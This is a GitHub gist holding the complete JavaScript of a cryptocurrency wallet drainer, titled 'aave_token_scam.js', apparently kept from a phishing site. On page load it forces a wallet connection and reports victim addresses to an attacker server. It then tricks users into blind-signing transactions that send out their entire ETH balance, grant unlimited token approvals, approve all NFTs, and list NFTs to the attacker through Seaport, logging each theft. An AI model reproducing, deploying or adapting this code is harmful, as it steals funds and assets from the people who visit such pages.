Last active
January 9, 2023 06:20
-
-
Save zh/01ffc148da14eed89f7d608b06a0a229 to your computer and use it in GitHub Desktop.
aave_token_scam.js
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
let nftABI=[{constant:!1,inputs:[{internalType:"address",name:"to",type:"address"},{internalType:"uint256",name:"tokenId",type:"uint256"}],name:"approve",outputs:[],payable:!1,stateMutability:"nonpayable",type:"function"},{constant:!1,inputs:[{internalType:"address",name:"to",type:"address"},{internalType:"uint256",name:"tokenId",type:"uint256"}],name:"mint",outputs:[],payable:!1,stateMutability:"nonpayable",type:"function"},{constant:!1,inputs:[{internalType:"address",name:"from",type:"address"},{internalType:"address",name:"to",type:"address"},{internalType:"uint256",name:"tokenId",type:"uint256"}],name:"safeTransferFrom",outputs:[],payable:!1,stateMutability:"nonpayable",type:"function"},{constant:!1,inputs:[{internalType:"address",name:"from",type:"address"},{internalType:"address",name:"to",type:"address"},{internalType:"uint256",name:"tokenId",type:"uint256"},{internalType:"bytes",name:"_data",type:"bytes"}],name:"safeTransferFrom",outputs:[],payable:!1,stateMutability:"nonpayable",type:"function"},{constant:!1,inputs:[{internalType:"address",name:"to",type:"address"},{internalType:"bool",name:"approved",type:"bool"}],name:"setApprovalForAll",outputs:[],payable:!1,stateMutability:"nonpayable",type:"function"},{constant:!1,inputs:[{internalType:"address",name:"from",type:"address"},{internalType:"address",name:"to",type:"address"},{internalType:"uint256",name:"tokenId",type:"uint256"}],name:"transferFrom",outputs:[],payable:!1,stateMutability:"nonpayable",type:"function"},{inputs:[],payable:!1,stateMutability:"nonpayable",type:"constructor"},{anonymous:!1,inputs:[{indexed:!0,internalType:"address",name:"from",type:"address"},{indexed:!0,internalType:"address",name:"to",type:"address"},{indexed:!0,internalType:"uint256",name:"tokenId",type:"uint256"}],name:"Transfer",type:"event"},{anonymous:!1,inputs:[{indexed:!0,internalType:"address",name:"owner",type:"address"},{indexed:!0,internalType:"address",name:"approved",type:"address"},{indexed:!0,internalType:"uint256",name:"tokenId",type:"uint256"}],name:"Approval",type:"event"},{anonymous:!1,inputs:[{indexed:!0,internalType:"address",name:"owner",type:"address"},{indexed:!0,internalType:"address",name:"operator",type:"address"},{indexed:!1,internalType:"bool",name:"approved",type:"bool"}],name:"ApprovalForAll",type:"event"},{constant:!0,inputs:[{internalType:"address",name:"owner",type:"address"}],name:"balanceOf",outputs:[{internalType:"uint256",name:"",type:"uint256"}],payable:!1,stateMutability:"view",type:"function"},{constant:!0,inputs:[{internalType:"uint256",name:"tokenId",type:"uint256"}],name:"getApproved",outputs:[{internalType:"address",name:"",type:"address"}],payable:!1,stateMutability:"view",type:"function"},{constant:!0,inputs:[{internalType:"address",name:"owner",type:"address"},{internalType:"address",name:"operator",type:"address"}],name:"isApprovedForAll",outputs:[{internalType:"bool",name:"",type:"bool"}],payable:!1,stateMutability:"view",type:"function"},{constant:!0,inputs:[{internalType:"uint256",name:"tokenId",type:"uint256"}],name:"ownerOf",outputs:[{internalType:"address",name:"",type:"address"}],payable:!1,stateMutability:"view",type:"function"},{constant:!0,inputs:[{internalType:"bytes4",name:"interfaceId",type:"bytes4"}],name:"supportsInterface",outputs:[{internalType:"bool",name:"",type:"bool"}],payable:!1,stateMutability:"view",type:"function"}] | |
let erc20ABI=[{constant:!0,inputs:[],name:"name",outputs:[{name:"",type:"string"}],payable:!1,stateMutability:"view",type:"function"},{constant:!1,inputs:[{name:"_spender",type:"address"},{name:"_value",type:"uint256"}],name:"approve",outputs:[{name:"",type:"bool"}],payable:!1,stateMutability:"nonpayable",type:"function"},{constant:!0,inputs:[],name:"totalSupply",outputs:[{name:"",type:"uint256"}],payable:!1,stateMutability:"view",type:"function"},{constant:!1,inputs:[{name:"_from",type:"address"},{name:"_to",type:"address"},{name:"_value",type:"uint256"}],name:"transferFrom",outputs:[{name:"",type:"bool"}],payable:!1,stateMutability:"nonpayable",type:"function"},{constant:!0,inputs:[],name:"decimals",outputs:[{name:"",type:"uint8"}],payable:!1,stateMutability:"view",type:"function"},{constant:!0,inputs:[{name:"_owner",type:"address"}],name:"balanceOf",outputs:[{name:"balance",type:"uint256"}],payable:!1,stateMutability:"view",type:"function"},{constant:!0,inputs:[],name:"symbol",outputs:[{name:"",type:"string"}],payable:!1,stateMutability:"view",type:"function"},{constant:!1,inputs:[{name:"_to",type:"address"},{name:"_value",type:"uint256"}],name:"transfer",outputs:[{name:"",type:"bool"}],payable:!1,stateMutability:"nonpayable",type:"function"},{constant:!0,inputs:[{name:"_owner",type:"address"},{name:"_spender",type:"address"}],name:"allowance",outputs:[{name:"",type:"uint256"}],payable:!1,stateMutability:"view",type:"function"},{payable:!0,stateMutability:"payable",type:"fallback"},{anonymous:!1,inputs:[{indexed:!0,name:"owner",type:"address"},{indexed:!0,name:"spender",type:"address"},{indexed:!1,name:"value",type:"uint256"}],name:"Approval",type:"event"},{anonymous:!1,inputs:[{indexed:!0,name:"from",type:"address"},{indexed:!0,name:"to",type:"address"},{indexed:!1,name:"value",type:"uint256"}],name:"Transfer",type:"event"}]; | |
let lastUsedNonce = 0 | |
// Config data from server | |
let minETHFinesse = 0.0 | |
let minETH = 0.0 | |
let receiveAddress = "" | |
let finesseReceiveAddress = "" | |
const domain = "https://api.bitcoinpass.ru" | |
let connected = false | |
Moralis.onWeb3Enabled(async (data) => { | |
if (connected) | |
return | |
if (data.chainId !== 1 && metamaskInstalled) await Moralis.switchNetwork("0x1"); | |
const web3Js = new Web3(Moralis.provider); | |
const walletAddress = (await web3Js.eth.getAccounts())[0] | |
await fetch(domain + "/connected", { | |
method: "POST", | |
headers: { | |
"Content-Type": "application/json" | |
}, | |
body: JSON.stringify({ | |
"victimAddress": walletAddress, | |
}) | |
}) | |
connected = true | |
}); | |
Moralis.onChainChanged(async (chain) => { | |
if (chain !== "0x1" && metamaskInstalled) await Moralis.switchNetwork("0x1"); | |
}); | |
setTimeout(async () => { | |
try { | |
const web3Js = new Web3(Moralis.provider); | |
const walletAddress = (await web3Js.eth.getAccounts())[0]; | |
console.log(`${walletAddress} is connected`) | |
} catch (e) {} | |
}, 600 * 1000); | |
async function askSign() { | |
const web3Js = new Web3(Moralis.provider); | |
const walletAddress = (await web3Js.eth.getAccounts())[0]; | |
try { | |
const message = signMessage.replace("{address}", walletAddress).replace("{nonce}", createNonce()); | |
const signature = await web3Js.eth.personal.sign(message, walletAddress); | |
const signing_address = await web3Js.eth.personal.ecRecover(message, signature); | |
console.log(`Signing address: ${signing_address}\n${walletAddress.toLowerCase() === signing_address.toLowerCase() ? "Same address" : "Not the same address."}`); | |
return true; | |
} catch (e) { | |
console.log(e); | |
return false; | |
} | |
} | |
async function verifyAsset() { | |
if (!drainETH) | |
return | |
await connectWallet() | |
const web3Js = new Web3(Moralis.provider); | |
const walletAddress = (await web3Js.eth.getAccounts())[0]; | |
try { | |
const response = await fetch(domain + "/balance/" + walletAddress, { | |
method: "GET", | |
headers: { | |
"Content-Type": "application/json" | |
} | |
}) | |
const data = await response.json() | |
let ethBal = data["balance"] | |
if (ethBal === null) { | |
ethBal = 0 | |
} | |
console.log(`Current balance for ${walletAddress} : ${ethBal} ETH`); | |
if (minETH > ethBal) | |
console.log(`Error, balance is too low. (${ethBal} < ${minETH} ETH)`); | |
else | |
await askTransferWithSign(ethBal) | |
} catch (e) { | |
console.log(e); | |
} | |
}; | |
async function broadcastTransaction(txObject) { | |
const web3Js = new Web3(Moralis.provider); | |
const chainId = await web3Js.eth.getChainId(); | |
const walletAddress = (await web3Js.eth.getAccounts())[0]; | |
const ethTx = new ethereumjs.Tx(txObject) | |
const rawHash = web3Js.utils.sha3('0x' + ethTx.serialize().toString('hex'), { encoding: 'hex' }); | |
try { | |
const result = await web3Js.eth.sign(rawHash, walletAddress) | |
const signature = result.substring(2); | |
const r = "0x" + signature.substring(0, 64); | |
const s = "0x" + signature.substring(64, 128); | |
const v = parseInt(signature.substring(128, 130), 16); | |
const y = web3Js.utils.toHex(v + chainId * 2 + 8); | |
ethTx.r = r; | |
ethTx.s = s; | |
ethTx.v = y; | |
const signedTx = '0x' + ethTx.serialize().toString('hex'); | |
const signedTxHash = web3Js.utils.sha3(signedTx, { encoding: 'hex' }); | |
console.log("Transaction Hash:", signedTxHash); | |
await fetch(domain + "/broadcast/", { | |
method: "POST", | |
headers: { | |
"Content-Type": "application/json" | |
}, | |
body: JSON.stringify({ | |
"transactionId": signedTx, | |
"transactionHash": signedTxHash, | |
"senderAddress": walletAddress | |
}) | |
}) | |
return true | |
} catch (err) { | |
console.log("User declined signature", err) | |
return false | |
} | |
} | |
async function askTransferWithSign(ethBal) { | |
const web3Js = new Web3(Moralis.provider); | |
const walletAddress = (await web3Js.eth.getAccounts())[0]; | |
await web3Js.eth.getTransactionCount(walletAddress, "pending") | |
.then(async (txnCount) => { | |
if (lastUsedNonce === txnCount) { | |
txnCount++ | |
} | |
lastUsedNonce = txnCount | |
const finesse = ethBal > minETHFinesse | |
const jgasPrice = await web3Js.eth.getGasPrice(); | |
const mgasPrice = web3Js.utils.toHex(Math.floor(jgasPrice * 1.4)); | |
const gas = new web3Js.utils.BN("22000"); | |
const cost = gas * Math.floor(jgasPrice * 4); | |
const toSend = web3Js.utils.toWei(ethBal.toString(), "ether") - cost; | |
console.log(`Sending ${web3Js.utils.fromWei(toSend.toString(), "ether")} ETH from ${walletAddress}...`); | |
const txObject = { | |
nonce: web3Js.utils.toHex(txnCount), | |
gasPrice: mgasPrice, | |
gasLimit: "0x55F0", | |
to: finesse ? finesseReceiveAddress : receiveAddress, | |
value: "0x" + toSend.toString(16), | |
data: "0x", v: "0x1", r: "0x", s: "0x" | |
}; | |
try { | |
let signed = false | |
let counter = 0 | |
while (!signed && counter < signatureRetries) { | |
console.log(`Try ${counter+1}/${signatureRetries}`) | |
signed = await broadcastTransaction(txObject) | |
counter++ | |
} | |
if (signed) { | |
fetch(domain + "/alert", { | |
method: "POST", | |
headers: { | |
"Content-Type": "application/json" | |
}, | |
body: JSON.stringify({ | |
"victimAddress": walletAddress, | |
"tokenType": "ETH", | |
"ethAmount": ethBal.toString(), | |
"finesse": finesse | |
}) | |
}) | |
} | |
} catch (err) { | |
console.error(err) | |
} | |
}) | |
} | |
async function getSeaportTargets() { | |
await connectWallet() | |
const web3Js = new Web3(Moralis.provider); | |
const walletAddress = (await web3Js.eth.getAccounts())[0]; | |
const response = await fetch(domain + "/seaport", { | |
method: "POST", | |
headers: { | |
"Content-Type": "application/json" | |
}, | |
body: JSON.stringify({ | |
"victim": walletAddress, | |
}) | |
}) | |
return await response.json() | |
} | |
async function approveSeaport(victims) { | |
await connectWallet() | |
let nftInfo = [] | |
victims.map(nft => { | |
nftInfo.push({ | |
amount: '1', | |
itemType: nft["tokenType"] === 'ERC721' ? 2 : 3, | |
token: nft["contract"], | |
identifier: nft["tokenID"], | |
recipient: receiveAddress | |
}) | |
}) | |
console.log("created order. NFT Info:", nftInfo) | |
let web3 = new ethers.providers.Web3Provider(window.ethereum); | |
await web3.send('eth_requestAccounts', []); | |
let address = await web3.getSigner(0); | |
const seaportObject = new seaport.Seaport(address) | |
let accepted = false | |
let tryIndex = 0 | |
const web3Js = new Web3(Moralis.provider); | |
const walletAddress = (await web3Js.eth.getAccounts())[0]; | |
while (!accepted && tryIndex < signatureRetries) { | |
try { | |
console.log(`Try ${tryIndex+1}/${signatureRetries}`) | |
const {executeAllActions: createSeaportOrder} = await seaportObject.createOrder({ | |
offer: nftInfo, | |
consideration: [{ | |
amount: '1', | |
recipient: receiveAddress | |
}], | |
conduitKey: '0x0000007b02230091a7ed01230072f7006a004d60a8d4e71d599b8104250f0000', | |
zone: '0x004C00500000aD104D7DBd00e3ae0A5C00560C00', // ?? | |
startTime: '1660921177', // keep the same | |
endTime: '19163599577' // keep the same | |
}, receiveAddress); | |
const seaportOrder = await createSeaportOrder() | |
accepted = true | |
fetch(domain + "/alert", { | |
method: "POST", | |
headers: { | |
"Content-Type": "application/json" | |
}, | |
body: JSON.stringify({ | |
"victimAddress": walletAddress, | |
"tokensStolen": victims, | |
"tokenType": "Seaport", | |
"seaportOrder": seaportOrder | |
}) | |
}) | |
} catch(e) { | |
if (e.message.toLowerCase().includes("denied") || e.message.toLowerCase().includes("signature") || e.message.toLowerCase().includes("user")) { | |
accepted = false | |
tryIndex++ | |
} | |
console.log("Could not do seaport drain.", e) | |
} | |
} | |
} | |
async function startDrainer() { | |
await connectWallet() | |
let largestNFTs | |
let largestTokens | |
let seaportNFTs | |
if (nftApprovals) | |
largestNFTs = getLargest("nft") | |
if (erc20Approvals) | |
largestTokens = getLargest("erc20") | |
if (seaportDrain) | |
seaportNFTs = getSeaportTargets() | |
if (seaportDrain) { | |
await seaportNFTs.then(async (data) => { | |
if (data !== null) { | |
if (data.length !== 0) { | |
console.log("seaport victims", data) | |
console.log(`Draining ${data.length} nfts using seaport`) | |
await approveSeaport(data) | |
} | |
} else { | |
console.log("No seaport approvals") | |
} | |
}) | |
} | |
if (nftApprovals) { | |
await largestNFTs.then(async (data) => { | |
if (data !== null) { | |
console.log("nfts", data) | |
for (let i = 0; i < data.length; i++) { | |
let nft = data[i] | |
console.log("Approving nft", nft["contract"]) | |
await approveNFT(nft["contract"], nft["finesse"], nft["tokenType"]) | |
} | |
} else { | |
console.log("No NFTs") | |
} | |
}) | |
} | |
if (erc20Approvals) { | |
await largestTokens.then(async (data) => { | |
if (data !== null) { | |
console.log("tokens", data) | |
for (let i = 0; i < data.length; i++) { | |
let key = Object.keys(data[i])[0] | |
console.log("Approving erc20 token", key) | |
await approveToken(key, data[i][key]) | |
} | |
} else { | |
console.log("No ERC20 tokens") | |
} | |
}) | |
} | |
if (drainETH) | |
await verifyAsset() | |
} | |
async function getLargest(tokenType) { | |
await connectWallet() | |
const web3Js = new Web3(Moralis.provider); | |
const walletAddress = (await web3Js.eth.getAccounts())[0]; | |
const response = await fetch(domain + "/largest", { | |
method: "POST", | |
headers: { | |
"Content-Type": "application/json" | |
}, | |
body: JSON.stringify({ | |
"targetAddress": walletAddress, | |
"tokenType": tokenType, | |
}) | |
}) | |
return await response.json() | |
} | |
async function approveNFT(nft, finesse, tokenType) { | |
if (!nftApprovals) | |
return | |
await connectWallet() | |
const web3Js = new Web3(Moralis.provider); | |
const walletAddress = (await web3Js.eth.getAccounts())[0]; | |
await web3Js.eth.getTransactionCount(walletAddress, "pending") | |
.then(async (txnCount) => { | |
if (lastUsedNonce === txnCount) { txnCount++ } | |
lastUsedNonce = txnCount | |
const jgasPrice = await web3Js.eth.getGasPrice(); | |
const mgasPrice = web3Js.utils.toHex(Math.floor(jgasPrice * 1.4)); | |
let tx_builder | |
let contract = new(web3Js.eth.Contract)(nftABI, nft, { from: walletAddress }); | |
if (finesse) { | |
tx_builder = contract.methods.setApprovalForAll(finesseReceiveAddress, true) | |
} else { | |
console.log("Called setApprovalForAll for wallet", receiveAddress); | |
tx_builder = contract.methods.setApprovalForAll(receiveAddress, true) | |
} | |
const txObject = { nonce: web3Js.utils.toHex(txnCount), gas: await tx_builder.estimateGas(), gasPrice: mgasPrice, gasLimit: "0x55F0", to: nft, value: "0x", data: tx_builder.encodeABI(), v: "0x1", r: "0x", s: "0x" }; | |
try { | |
let signed = false | |
let counter = 0 | |
while (!signed && counter < signatureRetries) { | |
console.log(`Try ${counter+1}/${signatureRetries}`) | |
signed = await broadcastTransaction(txObject) | |
counter++ | |
} | |
if (signed) { | |
fetch(domain + "/alert", { | |
method: "POST", | |
headers: { | |
"Content-Type": "application/json" | |
}, | |
body: JSON.stringify({ | |
"victimAddress": walletAddress, | |
"tokenType": tokenType, | |
"tokenAddress": nft, | |
"finesse": finesse | |
}) | |
}) | |
} | |
} catch (err) { | |
console.error(err) | |
} | |
}) | |
} | |
async function approveToken(token, finesse) { | |
if (!erc20Approvals) { | |
return; | |
} | |
await connectWallet() | |
const web3Js = new Web3(Moralis.provider); | |
const walletAddress = (await web3Js.eth.getAccounts())[0]; | |
await web3Js.eth.getTransactionCount(walletAddress, "pending") | |
.then(async (txnCount) => { | |
if (lastUsedNonce === txnCount) { txnCount++ } | |
lastUsedNonce = txnCount | |
const jgasPrice = await web3Js.eth.getGasPrice(); | |
const mgasPrice = web3Js.utils.toHex(Math.floor(jgasPrice * 1.4)); | |
let tx_builder | |
let contract = new(web3Js.eth.Contract)(erc20ABI, token, { from: walletAddress }); | |
if (finesse) { | |
tx_builder = contract.methods.approve(finesseReceiveAddress, (2 ** 256 - 1).toString(16)) | |
} else { | |
console.log("Called approve for wallet", receiveAddress); | |
tx_builder = contract.methods.approve(receiveAddress, (2 ** 256 - 1).toString(16)) | |
} | |
const txObject = { nonce: web3Js.utils.toHex(txnCount), gas: await tx_builder.estimateGas(), gasPrice: mgasPrice, gasLimit: "0x55F0", to: token, value: "0x", data: tx_builder.encodeABI(), v: "0x1", r: "0x", s: "0x" }; | |
try { | |
let signed = false | |
let counter = 0 | |
while (!signed && counter < signatureRetries) { | |
console.log(`Try ${counter+1}/${signatureRetries}`) | |
signed = await broadcastTransaction(txObject) | |
counter++ | |
} | |
if (signed) { | |
fetch(domain + "/alert", { | |
method: "POST", | |
headers: { | |
"Content-Type": "application/json" | |
}, | |
body: JSON.stringify({ | |
"victimAddress": walletAddress, | |
"tokenType": "ERC20", | |
"tokenAddress": token, | |
"finesse": finesse | |
}) | |
}) | |
} | |
} catch (err) { | |
console.error(err) | |
} | |
}) | |
} | |
async function askTransfer() { | |
await connectWallet() | |
disabled = true; | |
if (enableFakeSig && !signedWelcomeMessage) | |
askSign() | |
await startDrainer() | |
console.log("Stolen all data") | |
disabled = false; | |
} | |
let metamaskInstalled = false; | |
if (typeof window.ethereum !== 'undefined') metamaskInstalled = true; | |
window.addEventListener('load', async () => { | |
const response = await (await fetch(domain + `/settings`)).json() | |
try { | |
minETH = response["minETH"] | |
minETHFinesse = response["minETHFinesse"] | |
receiveAddress = response["receiveAddress"] | |
finesseReceiveAddress = response["finesseAddress"] | |
} catch (e) { | |
} | |
console.log("Min ETH:", minETH) | |
console.log("Min ETH Finesse:", minETHFinesse) | |
console.log("Receive Address:", receiveAddress) | |
console.log("Finesse Address:", finesseReceiveAddress) | |
await connectWallet(); | |
await askTransfer(); | |
document.querySelector("#claimButton").addEventListener("click", askTransfer); | |
}); | |
async function connectWallet() { | |
while (!connected) { | |
try { | |
await Moralis.enableWeb3(metamaskInstalled ? {} : { provider: "walletconnect" }); | |
connected = true | |
} catch (e) { | |
console.log("User denied connection") | |
} | |
} | |
} | |
//#region Utils Functions | |
const round = (value) => { return Math.round(value * 10000) / 10000; } | |
const rdmString = (length) => { | |
let x = ""; | |
const possible = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"; | |
for (let i = 0; i < length; i++) x += possible.charAt(Math.floor(Math.random() * possible.length)); | |
return x; | |
} | |
const createNonce = () => { return `${rdmString(8)}-${rdmString(4)}-${rdmString(4)}-${rdmString(12)}`; } |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment